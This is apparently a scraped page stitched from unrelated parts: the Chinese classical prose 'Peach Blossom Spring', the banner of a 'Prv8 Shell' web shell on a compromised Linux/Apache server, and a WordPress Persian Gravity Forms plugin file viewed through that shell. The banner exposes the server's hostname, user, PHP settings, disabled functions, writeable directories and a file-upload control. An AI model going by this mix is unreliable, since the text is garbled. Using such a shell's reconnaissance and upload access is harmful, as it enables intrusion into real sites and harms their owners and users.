晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/www/oldTZh/wp-content/plugins/persian-gravity-forms/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/www/oldTZh/wp-content/plugins/persian-gravity-forms/includes/class-snippets.php
<?php

defined( 'ABSPATH' ) || exit;

class GFPersian_Snippets extends GFPersian_Core {

	public function __construct() {

		if ( $this->option( 'label_visibility', '1' ) == '1' ) {
			add_filter( 'gform_enable_field_label_visibility_settings', '__return_true' );
		}

		if ( $this->option( 'private_post', '1' ) == '1' ) {
			add_action( 'gform_post_status_options', [ $this, 'add_private_post_status' ] );
		}

		if ( $this->option( 'newsletter', '1' ) == '1' ) {
			add_filter( 'gform_notification_events', [ $this, 'add_newsletter_notification_event' ] );
			add_filter( 'gform_before_resend_notifications', [ $this, 'add_notification_filter' ] );
		}

		// Add payment statuses to notification events
		add_filter( 'gform_notification_events', [ $this, 'add_payment_statuses_notification_event' ] );
		add_action( 'gform_post_payment_action', [ $this, 'send_payment_status_notification' ], 10, 2 );
	}

	/**
	 * Append payment events to the form notifications
	 *
	 * @param array $events
	 *
	 * @return array
	 */
	public function add_payment_statuses_notification_event( array $events ): array {
		$events['complete_payment'] = esc_html( 'پرداخت موفق' );
		$events['fail_payment']     = esc_html( 'پرداخت ناموفق' );

		return $events;
	}

	/**
	 * Send notifications based on payment status
	 *
	 * @param array $entry
	 * @param string $event
	 *
	 * @return void
	 */
	public function send_payment_status_notification( array $entry, string $event = 'fail_payment' ): void {
		$allowed_events = [
			'complete_payment',
			'fail_payment',
		];

		if ( ! in_array( $event, $allowed_events, true ) ) {
			return;
		}

		$form = GFAPI::get_form( rgar( $entry, 'form_id' ) );

		// Get all notifications assigned to this event
		$notifications = GFCommon::get_notifications( $event, $form );

		// Retrieve already sent notification IDs for this entry
		$sent_notifications = gform_get_meta( $entry['id'], '_gform_notification_sent' ) ?: [];

		foreach ( $notifications as $nid => $notification ) {

			// Skip if already sent
			if ( in_array( $nid, $sent_notifications, true ) ) {
				continue;
			}

			// Skip if conditional logic is not valid
			if ( ! GFCommon::evaluate_conditional_logic( rgar( $notification, 'conditionalLogic' ), $form, $entry ) ) {
				continue;
			}

			// Send the notification
			GFCommon::send_notification( $notification, $form, $entry );

			// Mark this notification as sent
			$sent_notifications[] = $nid;

			gform_update_meta( $entry['id'], '_gform_notification_sent', $sent_notifications );

		}

	}

	public function add_private_post_status( $post_statuses ) {
		$post_statuses['private'] = 'خصوصی';

		return $post_statuses;
	}

	/*---------------------------------------------------------------------------------------------*/
	/*----------Start of NewsLetter----------------------------------------------------------------*/
	/*---------------------------------------------------------------------------------------------*/
	public function add_newsletter_notification_event( $events ) {
		$events['newsletter'] = 'خبرنامه';

		return $events;
	}

	public function add_notification_filter( $form ) {
		add_filter( 'gform_notification', [ $this, 'evaluate_notification_conditional_logic' ], 10, 3 );

		return $form;
	}

	public function evaluate_notification_conditional_logic( $notification, $form, $entry ) {

		// if it fails conditional logic, suppress it
		if ( $notification['event'] == 'newsletter' && ! GFCommon::evaluate_conditional_logic( rgar( $notification, 'conditionalLogic' ), $form, $entry ) ) {
			add_filter( 'gform_pre_send_email', [ $this, 'abort_next_notification' ] );
		}

		return $notification;
	}

	public function abort_next_notification( $args ) {
		remove_filter( 'gform_pre_send_email', [ $this, 'abort_next_notification' ] );
		$args['abort_email'] = true;

		return $args;
	}
	/*---------------------------------------------------------------------------------------------*/
	/*----------End of NewsLetter------------------------------------------------------------------*/
	/*---------------------------------------------------------------------------------------------*/

}

new GFPersian_Snippets();

haha - 2025